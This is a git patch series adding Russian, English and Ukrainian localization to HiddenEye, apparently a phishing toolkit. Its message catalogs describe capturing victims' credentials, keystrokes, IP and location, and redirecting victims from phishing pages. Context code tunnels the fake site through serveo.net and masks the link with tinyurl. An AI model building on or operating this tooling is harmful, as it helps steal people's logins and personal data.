-1,2 +1,31 @@ -#WILL BE SOON!!! -#Work in process!!! +#Python3 +#WILL BE SOON +#WIP + +import gettext +from Defs.Configurations import readConfig + +def langRussian(): + ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru']) + ru.install() + +def langUkrainian(): + uk = gettext.translation('hiddeneye',localedir='./locale', languages=['uk']) + uk.install() + +def langEnglish(): + en = gettext.translation('hiddeneye',localedir='./locale', languages=['en']) + en.install() + + +def checkAndSetLanguage(): + language = readConfig().get("Settings", "Language") + + if language == "en": + langEnglish() + elif language == "ru": + langRussian() + elif language == "uk": + langUkrainian() + else: + langEnglish() diff --git a/HiddenEye.py b/HiddenEye.py index c7932de..97eaae4 100644 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -1,21 +1,23 @@ #!/usr/bin/python3 +# #HiddenEye by Open Source Community +# import multiprocessing import gettext -from gettext import gettext as _ from Defs.Checks import * from Defs.Configurations import * from Defs.Actions import * - - +from Defs.Languages import * +#ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru']) +#ru.install() RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' +checkAndSetLanguage() checkConnection() checkNgrok() ifSettingsNotExists() readConfig() -config = readConfig() if __name__ == "__main__": diff --git a/Lang/en_US/LC_MESSAGES/hiddeneye.mo b/locale/en/LC_MESSAGES/hiddeneye.mo similarity index 84% rename from Lang/en_US/LC_MESSAGES/hiddeneye.mo rename to locale/en/LC_MESSAGES/hiddeneye.mo index e6ed90c31284be4f3c8d9d66eea68f67cd70b80b..53709774c78e6f0b07738f46ac9cd43fc4d1aa8d 100644 GIT binary patch delta 1108 zcmdUt&u_45IK1v zjnQoC#h4h47f&cB^=^!bHeMQgQ4^2;xS%Fp)bHCh^>1*JH=j4NGkNow+1v3~^Nn|s zWtGreh#`dCM061BHKRjofgLN+Bd~z+gB~IWa%n5kaf~On8SB&F0LItBQCi7+{T;7^e8BJE0njB8 zCBc)RAG{Avfa{h{}?mO^U!AV zCOW=}7RUwHKsNsgviXSHFt3Ab-U8Wt17vdx7Bih7n;!+Izy)xg%~z1H`38t{=#3ZR z0;n5-7af8=YTq&E`^+`J_MzXdIVI_Q&0nwi>Lk40+GPC%QV~BD7tvTk%*D<`XM@5f z@WG>hC}dLQjL50wN~%!M*QM07SiYo+iy4v1rgEyhRH>ALic+ms<;FpQY2hyZzQ3 zGHKWB$80{YFCct@;NgJw+&;WHJmS~B+CN&A+02Eq_Qnx1%eMAi^Ov6XsOw7ie{1{) DJB-dd delta 936 zcmcJNzfV(96o5}_!CEUnTH4}Ip2ij^X?d?zqSeF@x{x3iVpzbTLd7T8CKfRPlo;cV zc_9uiXq+%4O}ZG}U5p_yOb#yU;J{!QHOB9>)&IbgocG;xdtdMU&V3)op5<0Q2R!RS zoFI>pewRou`~@{O+#-8TBG2JG^}1Ii#Mpg6a2uK~S(T+jB5O>%YGIO1FSd#-Q2X2Khk6L3)EkZZ9qgh024k=#Ad-S-VK=-9 z<8Tdj!nY0XKo#7D=beVFjifpM z;)sr%%kIdqZtEjMB==a0<2>oLa8I(Iq`kG!o~ai1Ui)HnvWet_lEc+4_gt$xT6TW4 z2c2Xf&=f5%Tlbxn*o0304D?$Q_Vj{%+sNI$K5tJO!?}#nlZ;>L^~q%XnvpHtE6$hl zGj?&-7@fUSnoA~=&SY@hV?<}7)k<*5l`<1)%P`ZKbh^(>nWisyB{5!Dw99s>n8@ZA z3K=71TIUkh-*sm!XDal?$%cnKBl+U2QwoQ?R>sH{Zj^o1ihI{vUF=$E{(nava{U3F CYLK1) diff --git a/Lang/en_US/LC_MESSAGES/hiddeneye.po b/locale/en/LC_MESSAGES/hiddeneye.po similarity index 89% rename from Lang/en_US/LC_MESSAGES/hiddeneye.po rename to locale/en/LC_MESSAGES/hiddeneye.po index 807e42d..e5bbdb3 100644 --- a/Lang/en_US/LC_MESSAGES/hiddeneye.po +++ b/locale/en/LC_MESSAGES/hiddeneye.po @@ -1,8 +1,8 @@ msgid "" msgstr "" "Project-Id-Version: hiddeneye\n" -"POT-Creation-Date: 2018-10-31 03:33+0200\n" -"PO-Revision-Date: 2018-10-31 03:41+0200\n" +"POT-Creation-Date: 2018-11-19 19:39+0200\n" +"PO-Revision-Date: 2018-11-19 19:42+0200\n" "Last-Translator: sTiKyt \n" "Language-Team: \n" "Language: en_US\n" @@ -10,12 +10,11 @@ msgstr "" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2\n" -"X-Poedit-Basepath: ../../..\n" +"X-Poedit-Basepath: ../../../Defs\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" -"X-Poedit-SearchPath-0: Lang\n" -"X-Poedit-SearchPath-1: Defs\n" +"X-Poedit-SearchPath-0: .\n" -#: Defs/Actions.py:74 +#: Actions.py:77 #, python-brace-format msgid "" "\n" @@ -24,7 +23,7 @@ msgstr "" "\n" " {0}Please select any available server:{1}" -#: Defs/Actions.py:75 +#: Actions.py:78 #, python-brace-format msgid "" "\n" @@ -35,7 +34,7 @@ msgstr "" " {0}[{1}1{0}]{1} Ngrok\n" " {0}[{1}2{0}]{1} Serveo" -#: Defs/Actions.py:119 +#: Actions.py:122 #, python-brace-format msgid "" "\n" @@ -94,12 +93,25 @@ msgstr "" "<=============================================================================>\n" " " -#: Defs/Actions.py:150 -#, python-format, python-brace-format -msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" -msgstr "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" +#: Actions.py:145 +msgid "[PHP INSTALLATION FOUND]" +msgstr "[PHP INSTALLATION FOUND]" -#: Defs/Actions.py:153 +#: Actions.py:148 +#, python-brace-format +msgid "" +" --{0}>{1} PHP NOT FOUND: \n" +" {0}*{1} Please install PHP and run me again.http://www.php.net/" +msgstr "" +" --{0}>{1} PHP NOT FOUND: \n" +" {0}*{1} Please install PHP and run me again.http://www.php.net/" + +#: Actions.py:153 +#, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%" +msgstr "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%" + +#: Actions.py:157 #, python-brace-format msgid "" "\n" @@ -112,7 +124,7 @@ msgstr "" "({2}y{1}/{0}n{1})\n" "{2}HiddenEye >>> {1}" -#: Defs/Actions.py:155 +#: Actions.py:159 #, python-brace-format msgid "" "\n" @@ -127,7 +139,7 @@ msgstr "" "EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" "\n" -#: Defs/Actions.py:157 +#: Actions.py:161 #, python-brace-format msgid "" "\n" @@ -200,7 +212,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:160 +#: Actions.py:164 #, python-brace-format msgid "" "\n" @@ -231,7 +243,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:164 +#: Actions.py:168 #, python-brace-format msgid "" "\n" @@ -256,7 +268,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:188 +#: Actions.py:192 #, python-brace-format msgid "" "\n" @@ -279,7 +291,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:212 +#: Actions.py:216 #, python-brace-format msgid "" "\n" @@ -300,7 +312,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:222 +#: Actions.py:226 #, python-brace-format msgid "" " {0}\n" @@ -309,7 +321,7 @@ msgstr "" " {0}\n" " [{1}*{0}] module loaded. Building site...{0}" -#: Defs/Actions.py:226 +#: Actions.py:230 msgid "" "\n" " (Choose Wisely As Your Victim Will Redirect to This Link)" @@ -317,7 +329,7 @@ msgstr "" "\n" " (Choose Wisely As Your Victim Will Redirect to This Link)" -#: Defs/Actions.py:227 +#: Actions.py:231 msgid "" "\n" " (Leave Blank To Loop The Phishing Page)" @@ -325,7 +337,7 @@ msgstr "" "\n" " (Leave Blank To Loop The Phishing Page)" -#: Defs/Actions.py:228 +#: Actions.py:232 #, python-brace-format msgid "" "\n" @@ -334,7 +346,7 @@ msgstr "" "\n" " {0}Insert a custom redirect url:" -#: Defs/Actions.py:229 +#: Actions.py:233 #, python-brace-format msgid "" "\n" @@ -343,7 +355,7 @@ msgstr "" "\n" " {0}CUSTOM URL >>> {1}" -#: Defs/Actions.py:260 +#: Actions.py:264 #, python-brace-format msgid "" "\n" @@ -372,49 +384,45 @@ msgstr "" " {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" " {3}https://github.com/DarkSecDevelopers/HiddenEye " -#: Defs/Actions.py:277 +#: Actions.py:281 #, python-brace-format msgid "" "{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" msgstr "" "{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" -#: Defs/Actions.py:283 -#, python-format, python-brace-format +#: Actions.py:287 +#, python-brace-format msgid "" " {0}[ CREDENTIALS FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " {0}[ CREDENTIALS FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:293 -msgid "Victim Public IP: (.*?)\n" -msgstr "Victim Public IP: (.*?)\n" - -#: Defs/Actions.py:298 -#, python-format, python-brace-format +#: Actions.py:302 +#, python-brace-format msgid "" " \n" "{0}[ VICTIM IP BONUS ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " \n" "{0}[ VICTIM IP BONUS ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:304 -#, python-format, python-brace-format +#: Actions.py:308 +#, python-brace-format msgid "" " \n" "{0}[ VICTIM INFO FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " \n" "{0}[ VICTIM INFO FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:305 +#: Actions.py:309 #, python-brace-format msgid "" " \n" @@ -425,7 +433,7 @@ msgstr "" "{0}Longitude: {2} \n" "Latitude: {3}{1}" -#: Defs/Actions.py:306 +#: Actions.py:310 #, python-brace-format msgid "" " \n" @@ -436,7 +444,7 @@ msgstr "" "{0}ISP: {2} \n" "Country: {3}{1}" -#: Defs/Actions.py:307 +#: Actions.py:311 #, python-brace-format msgid "" " \n" @@ -447,7 +455,7 @@ msgstr "" "{0}Region: {2} \n" "City: {3}{1}" -#: Defs/Actions.py:317 +#: Actions.py:321 #, python-format, python-brace-format msgid "" " {0}[ GETTING PRESSED KEYS ]{1}:\n" @@ -456,12 +464,12 @@ msgstr "" " {0}[ GETTING PRESSED KEYS ]{1}:\n" " {0}%s{1}" -#: Defs/Checks.py:15 +#: Checks.py:18 #, python-brace-format msgid "{0}Successful connection!{1}" msgstr "{0}Successful connection!{1}" -#: Defs/Checks.py:21 +#: Checks.py:24 #, python-brace-format msgid "" "{1}\n" @@ -480,6 +488,9 @@ msgstr "" " {0}[{1}!{0}]{1} Network error. Verify your connection.\n" "\n" -#: Defs/Checks.py:32 +#: Checks.py:35 msgid "[*] Downloading Ngrok..." msgstr "[*] Downloading Ngrok..." + +#~ msgid "Victim Public IP: (.*?)\n" +#~ msgstr "Victim Public IP: (.*?)\n" diff --git a/Lang/ru_RU/LC_MESSAGES/hiddeneye.mo b/locale/ru/LC_MESSAGES/hiddeneye.mo similarity index 83% rename from Lang/ru_RU/LC_MESSAGES/hiddeneye.mo rename to locale/ru/LC_MESSAGES/hiddeneye.mo index 2e0355f9fd04c1b41383390db787d4efbf9f7881..5e1b7c30ad9c1cfaed8e5ea20a9c495cbae69932 100644 GIT binary patch delta 1217 zcmZvaOH30{6oyX=KBy05ETW=t)%q%Q%2Z9DMx#(vB54upBdM5-=?D#VXlPB-Gzf}u zp~j#SOpI1RqYI4&L6k?3#KeTS;dY^kF2sedbcZfn=|59~CVDexzH{zl&VSCG*MZ4~ z_K!k#H(?aRR>7<$qRrq!GhP^d;Pf1#r(hWI{rN=s@P!L3o>f~d z2q%)RwxrZX%;89uwe5t<>h{$!ug}l+_zrnJZf0Rvup0|uMUE;gq();xX^E@h7C9JF8=1GU zwWV1UMGEL?YrF^jyK8HA`)hpOO#TM#n^3Qx9;jS;#N=oS1%ryJBos@X&+n*eRpeNx zMRj=OnBr!xGO64lNe-!kNfqub+q5xjk!3b4*S=V*=SKaZ{fU@n&%Zs#=}}HbwTb-8 zX3;XxWB!mm;42(iY$#n|uWbK+V|a>pGk%+2h111*_&t7|ck|TWZQ^(MOa7eq@zHcA zA5Nc5pW}Tj-I;Ot7#92a5GDtW4)P(!$N6BogAei-I5a-9)0Ww?&nUP$p@{5%t*y6r v8G=9CYqX;!MN$BQdih;QOF`r{ep466AMqQRT>t29&`y_JGTNI}`pWbh*hD1C delta 935 zcmX}qJxo(k6u|M*QWR?WYAGOyKEx^%UTF&^T8%`h0|vALDI~~Hp_T@04OC1tipCfd z<4}FUQBensMuV~tm^9IqlIY?f4jLUa(JWk$=VASZEjV<6hi@!|28| zR^VdR_oy2DiTly&5b5Cg669i)!X5m@25yw{Bb!7fR6FD={MR`;{#;FWlul|QAKJa&7oYy6V$vhm0sR>d`YlP??}OvTS?q4TFl30uk!Q_R+XfiSsPsFt2v9aWc$Kx^j9bFd9HRPI`b@ZByVrQk_t2g^JZ*!o<-{AFo zz1GkPy(>BqACD&!dN7iT1~k9dw@>$N+}9HDdyP}hqsEN$zHzMVc1=el5wrH`p=5L@ zp3=Lck+H$yP$V_1`vO`pdS=`@H*5ZAnR`{WP^fmDbRWsK(bJGtg>Mb*w#zS9C f#mxNjO(X3t%lp@d(bTxZxY~FtNA0*ke`ER!#Wk3} diff --git a/Lang/ru_RU/LC_MESSAGES/hiddeneye.po b/locale/ru/LC_MESSAGES/hiddeneye.po similarity index 89% rename from Lang/ru_RU/LC_MESSAGES/hiddeneye.po rename to locale/ru/LC_MESSAGES/hiddeneye.po index 70a5301..c531255 100644 --- a/Lang/ru_RU/LC_MESSAGES/hiddeneye.po +++ b/locale/ru/LC_MESSAGES/hiddeneye.po @@ -1,22 +1,21 @@ msgid "" msgstr "" -"Project-Id-Version: \n" -"POT-Creation-Date: 2018-10-31 03:42+0200\n" -"PO-Revision-Date: 2018-10-31 04:20+0200\n" +"Project-Id-Version: hiddeneye\n" +"POT-Creation-Date: 2018-11-19 19:35+0200\n" +"PO-Revision-Date: 2018-11-19 19:38+0200\n" "Last-Translator: sTiKyt \n" -"Language-Team: \n" +"Language-Team: sTiKyt\n" "Language: ru_RU\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2\n" -"X-Poedit-Basepath: ../../..\n" +"X-Poedit-Basepath: ../../../Defs\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" "%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" -"X-Poedit-SearchPath-0: Lang\n" -"X-Poedit-SearchPath-1: Defs\n" +"X-Poedit-SearchPath-0: .\n" -#: Defs/Actions.py:74 +#: Actions.py:77 #, python-brace-format msgid "" "\n" @@ -25,7 +24,7 @@ msgstr "" "\n" "{0}Пожалуйста выберите сервер из списка:{1}" -#: Defs/Actions.py:75 +#: Actions.py:78 #, python-brace-format msgid "" "\n" @@ -36,7 +35,7 @@ msgstr "" " {0}[{1}1{0}]{1} Ngrok\n" " {0}[{1}2{0}]{1} Serveo" -#: Defs/Actions.py:119 +#: Actions.py:122 #, python-brace-format msgid "" "\n" @@ -95,12 +94,26 @@ msgstr "" "<=============================================================================>\n" " " -#: Defs/Actions.py:150 -#, python-format, python-brace-format -msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" -msgstr "{0}[{1}*{0}]{1} HiddenEye открывается. Пожалуйста подождите... %d%%" +#: Actions.py:145 +msgid "[PHP INSTALLATION FOUND]" +msgstr "[УСТАНОВЛЕНЫЙ PHP ОБНАРУЖЕН]" -#: Defs/Actions.py:153 +#: Actions.py:148 +#, python-brace-format +msgid "" +" --{0}>{1} PHP NOT FOUND: \n" +" {0}*{1} Please install PHP and run me again.http://www.php.net/" +msgstr "" +" --{0}>{1} PHP НЕ ОБНАРУЖЕН: \n" +" {0}*{1} Пожалуйста установите PHP и перезапустите HiddenEye. http://www.php." +"net/" + +#: Actions.py:153 +#, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%" +msgstr "{0}[{1}*{0}]{1} HiddenEye открывается. Пожалуйста подождите... {2}%" + +#: Actions.py:157 #, python-brace-format msgid "" "\n" @@ -112,7 +125,7 @@ msgstr "" "{2}[{1}!{2}]{1} Согласны ли вы использовать этот инструмент исключительно в " "образовательных целях? (Выберите: {2}y = Да{1}/{0}n = Нет{1})" -#: Defs/Actions.py:155 +#: Actions.py:159 #, python-brace-format msgid "" "\n" @@ -127,7 +140,7 @@ msgstr "" "ИСПОЛЬЗОВАНИЕ ДОПУСКАЕТСЯ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. ДОСВИДАНИЯ![{1} ]\n" "\n" -#: Defs/Actions.py:157 +#: Actions.py:161 #, python-brace-format msgid "" "\n" @@ -200,7 +213,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:160 +#: Actions.py:164 #, python-brace-format msgid "" "\n" @@ -231,7 +244,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:164 +#: Actions.py:168 #, python-brace-format msgid "" "\n" @@ -256,7 +269,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:188 +#: Actions.py:192 #, python-brace-format msgid "" "\n" @@ -279,7 +292,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:212 +#: Actions.py:216 #, python-brace-format msgid "" "\n" @@ -300,7 +313,7 @@ msgstr "" "\n" "{0}HiddenEye >>> {1}" -#: Defs/Actions.py:222 +#: Actions.py:226 #, python-brace-format msgid "" " {0}\n" @@ -309,7 +322,7 @@ msgstr "" " {0}\n" " [{1}*{0}] модуль загружен. Построение сайта...{0}" -#: Defs/Actions.py:226 +#: Actions.py:230 msgid "" "\n" " (Choose Wisely As Your Victim Will Redirect to This Link)" @@ -317,7 +330,7 @@ msgstr "" "\n" " (Выбирайте с умом, ваша жертва будет перенаправлена по этому адресу)" -#: Defs/Actions.py:227 +#: Actions.py:231 msgid "" "\n" " (Leave Blank To Loop The Phishing Page)" @@ -325,7 +338,7 @@ msgstr "" "\n" " (Оставьте пустым чтобы зациклить страницу)" -#: Defs/Actions.py:228 +#: Actions.py:232 #, python-brace-format msgid "" "\n" @@ -334,7 +347,7 @@ msgstr "" "\n" " {0}Введите альтернативный адрес переадресации:" -#: Defs/Actions.py:229 +#: Actions.py:233 #, python-brace-format msgid "" "\n" @@ -343,7 +356,7 @@ msgstr "" "\n" " {0}АЛЬТЕРНАТИВНЫЙ АДРЕС >>> {1}" -#: Defs/Actions.py:260 +#: Actions.py:264 #, python-brace-format msgid "" "\n" @@ -373,7 +386,7 @@ msgstr "" "ПОЛЕЗНЕЕ\n" " {3}https://github.com/DarkSecDevelopers/HiddenEye " -#: Defs/Actions.py:277 +#: Actions.py:281 #, python-brace-format msgid "" "{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" @@ -381,42 +394,38 @@ msgstr "" "{0}[{1}*{0}]{1} Ожидание базовой информации//нажатий клавиш//информации об " "устройстве жертвы. \n" -#: Defs/Actions.py:283 -#, python-format, python-brace-format +#: Actions.py:287 +#, python-brace-format msgid "" " {0}[ CREDENTIALS FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " {0}[ ИНФОРМАЦИЯ ОБНАРУЖЕНА ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:293 -msgid "Victim Public IP: (.*?)\n" -msgstr "Публичный IP жертвы: (.*?)\n" - -#: Defs/Actions.py:298 -#, python-format, python-brace-format +#: Actions.py:302 +#, python-brace-format msgid "" " \n" "{0}[ VICTIM IP BONUS ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " \n" "{0}[ Дополнительный IP жертвы ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:304 -#, python-format, python-brace-format +#: Actions.py:308 +#, python-brace-format msgid "" " \n" "{0}[ VICTIM INFO FOUND ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" msgstr "" " \n" "{0}[ КООРДИНАТЫ ЖЕРТВЫ ОБНАРУЖЕНЫ ]{1}:\n" -" {0}%s{1}" +" {0}{2}{1}" -#: Defs/Actions.py:305 +#: Actions.py:309 #, python-brace-format msgid "" " \n" @@ -427,7 +436,7 @@ msgstr "" "{0}Долгота: {2} \n" "Широта: {3}{1}" -#: Defs/Actions.py:306 +#: Actions.py:310 #, python-brace-format msgid "" " \n" @@ -438,7 +447,7 @@ msgstr "" "{0}Интернет провайдер: {2} \n" "Страна: {3}{1}" -#: Defs/Actions.py:307 +#: Actions.py:311 #, python-brace-format msgid "" " \n" @@ -449,7 +458,7 @@ msgstr "" "{0}Регион: {2} \n" "Город: {3}{1}" -#: Defs/Actions.py:317 +#: Actions.py:321 #, python-format, python-brace-format msgid "" " {0}[ GETTING PRESSED KEYS ]{1}:\n" @@ -458,12 +467,12 @@ msgstr "" " {0}[ ПОЛУЧЕНИЕ НАЖАТЫХ КЛАВИШ ]{1}:\n" " {0}%s{1}" -#: Defs/Checks.py:15 +#: Checks.py:18 #, python-brace-format msgid "{0}Successful connection!{1}" msgstr "{0}Успешное соединение!{1}" -#: Defs/Checks.py:21 +#: Checks.py:24 #, python-brace-format msgid "" "{1}\n" @@ -483,6 +492,9 @@ msgstr "" "подключение.\n" "\n" -#: Defs/Checks.py:32 +#: Checks.py:35 msgid "[*] Downloading Ngrok..." msgstr "[*] Загрузка Ngrok..." + +#~ msgid "Victim Public IP: (.*?)\n" +#~ msgstr "Публичный IP жертвы: (.*?)\n" From 34cfcc82e6e43b84fd9d87d8ce8e45648268361f Mon Sep 17 00:00:00 2001 From: Artur Tretiak Date: Wed, 28 Nov 2018 22:56:33 +0200 Subject: [PATCH 3/4] Language arguments New - Users now able to change languages using console arguments Also user able to select default language using Settings.ini --- Defs/Actions.py | 9 ++++----- Defs/Checks.py | 5 ++--- Defs/Languages.py | 19 ++++++++++++++++--- HiddenEye.py | 8 ++++---- 4 files changed, 26 insertions(+), 15 deletions(-) diff --git a/Defs/Actions.py b/Defs/Actions.py index 8730fc6..d4da95d 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -11,10 +11,9 @@ from sys import stdout, argv from Defs.Configurations import readConfig, ifSettingsNotExists from Defs.Languages import * -checkAndSetLanguage() #WIP!!! MUST BE UPDATED - RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' +languageSelector() ifSettingsNotExists() config = readConfig() @@ -105,15 +104,15 @@ def runServeo(): system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &') sleep(7) try: - output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True) + output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True) url = str(output).strip("b ' \ n") print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) - print("\n") + print("\n") data = urlopen("http://tinyurl.com/api-create.php?url="+url) url = data.read() link = url.decode('utf-8') print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) - print("\n") + print("\n") except subprocess.CalledProcessError: print (''' ....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _ diff --git a/Defs/Checks.py b/Defs/Checks.py index d112804..57899e1 100644 --- a/Defs/Checks.py +++ b/Defs/Checks.py @@ -7,11 +7,10 @@ from platform import system as systemos, architecture from wget import download from Defs.Languages import * -checkAndSetLanguage() #WIP!!! MUST BE UPDATED - - RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m' +languageSelector() + def checkConnection(host='http://duckduckgo.com'): #Connection check try: urlopen(host) diff --git a/Defs/Languages.py b/Defs/Languages.py index 7ba8d17..0e8776c 100644 --- a/Defs/Languages.py +++ b/Defs/Languages.py @@ -1,7 +1,6 @@ #Python3 -#WILL BE SOON -#WIP - +#Language code by sTiKyt +import sys import gettext from Defs.Configurations import readConfig @@ -29,3 +28,17 @@ def checkAndSetLanguage(): langUkrainian() else: langEnglish() + + +def languageSelector(): + for arg in sys.argv: + if arg in ["--language", "--lang"]: + for arg in sys.argv: + if arg in ["ru", "russian", "ru_RU"]: + langRussian() + elif arg in["en", "eng", "english", "en_UK", "en_US"]: + langEnglish() + elif arg in["uk", "ukraine", "ukrainian", "uk_UA"]: + langUkrainian() + else: + exit diff --git a/HiddenEye.py b/HiddenEye.py index 97eaae4..72ad850 100644 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -4,18 +4,18 @@ # import multiprocessing import gettext +import sys from Defs.Checks import * from Defs.Configurations import * from Defs.Actions import * from Defs.Languages import * -#ru = gettext.translation('hiddeneye',localedir='./locale', languages=['ru']) -#ru.install() + RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' -checkAndSetLanguage() + +languageSelector() checkConnection() checkNgrok() - ifSettingsNotExists() readConfig() From 0acb324fc2d42cc8bd64476e604a9a5804d5619b Mon Sep 17 00:00:00 2001 From: Artur Tretiak Date: Wed, 28 Nov 2018 23:43:21 +0200 Subject: [PATCH 4/4] =?UTF-8?q?Ukrainian=20Language=20|=20=D0=A3=D0=BA?= =?UTF-8?q?=D1=80=D0=B0=D1=97=D0=BD=D1=81=D1=8C=D0=BA=D0=B0=20=D0=BC=D0=BE?= =?UTF-8?q?=D0=B2=D0=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit New - Full Ukrainian translation --- locale/uk/LC_MESSAGES/hiddeneye.mo | Bin 0 -> 11866 bytes locale/uk/LC_MESSAGES/hiddeneye.po | 500 +++++++++++++++++++++++++++++ 2 files changed, 500 insertions(+) create mode 100644 locale/uk/LC_MESSAGES/hiddeneye.mo create mode 100644 locale/uk/LC_MESSAGES/hiddeneye.po diff --git a/locale/uk/LC_MESSAGES/hiddeneye.mo b/locale/uk/LC_MESSAGES/hiddeneye.mo new file mode 100644 index 0000000000000000000000000000000000000000..de675fa70314e46ab58d641339adbe8b41aa89fc GIT binary patch literal 11866 zcmeHM?Q>M+6~ArO*45V5YPGGc2P+!TeMzvE1`@j@OR|$qc4v13rh%rH-J4{a&Apks zccB?VM}z{?u?iG0N_b6C+hH^!XaEUc`=K*^_JdCQ#m+d>zrgyfGxm3$`?kAT1e6*3 z;+@=_=jEL9oVVvZ=RW)1oi`m+@Z690KD>8*K~a_g-u^}W!!rl?!Oe>DI$#m~Q(sY( zyV1V$Rz+Ebe$#C>eje~!=syei0OJ8Z0{ADuFyKD{F91GxyQ2IN@b7>Tto56(D#~8; zFMdr?{(^qu4n?uhzwaB0@_oR4fJ*`Aoc_CjEZ>KK4+GwRr=ko3b^*2k&H^?8z6-b< z@FT!`0hfQ%h8=*c=LW!)fRlg;z%zg!0Dc7c56JPsU5b*tMN$3+r9Q;?vhOL%2=u-m zLa}_i$)@`k;G^irmnh2505=0Nzjpvx?+0LvyTLCF_zwD`KTwq4qTl|YqP&IvpP}6Q z=OF)%I$b>!~1Q#0lfF(g`4HWzJ+TPxKa5sUYOl`zKa&ZLb=Boxf$?Qyd0xS zAQ0Hvylr*cjeObzG&Myx>Y17f5JUvW_YdvCANV?r8en&vAs6MUgFtY&amytm+PY#} zHLcfnm-bP;sp^I;@HNTJX0l0L&}hKLaWFkpPflior+(h;^PDtdtxWc`_unP=shrjo z20X%AwA$X4ZRv{Zaj)a&j5mBsV}*n*2lBml!&j3(Ykm?Hr`9oY&P1_L-D?~$#ict8&CGpMxP#Z zQR;~eB$8cSu{5X?30f1Q&R8mu9Ef!ih-e_$|0rdX)DcZ(`_nOst&61xm?)D?CwpRG zcf<4T_1FzLe~_RD#H1+1>q}-S+Mn%CrsF?_1`xbI6QgW*JcD*J5n{ZKXdfl}5(9E7 zo|S6GI{Q1MeWD3U^`}$GOe{oQ$z&&NA6vpc*cb>XzUiuE#OzQA&#&;vqlX(jFw_7) z^ssk2!OLL|y0#7A;Em$Ise8h$-lR(s2)$8+E8N|iM4TWh*7hfSdMO%K7`3d4 zQfoLoQm{tLn?gBbJlv_8V;L>iscqJZ#)M{;!rg^@UejZfnxsNhGX0g>q zNfk8}5<)%}Le(cp-K-Xh>ZT$OnwvGV)nhk^Rx?)H2uOV+rZFZL=iwH2IKwoC5=g=# zs#P#_8aMJ{Kh(bb9EsA~CB%@KEQKt)omn(#6bFO?gun(?gB zTgaJ4$r!HY=UF6UY3g_tm1mE2JyoNgF$x_;qnvNBA?>t_LX5NA56yzD{B-TV>2(ac?;vGev8XeK=_s;{}5dyB#Ey>Q2cDO>%4{$!)ouuurD~pAbk! zjE6&m%rcG@4MtT9dWer^oXlIcYza+_PK0#L3M(AK0b)liM{6UWL1kppqM_!se2CVR 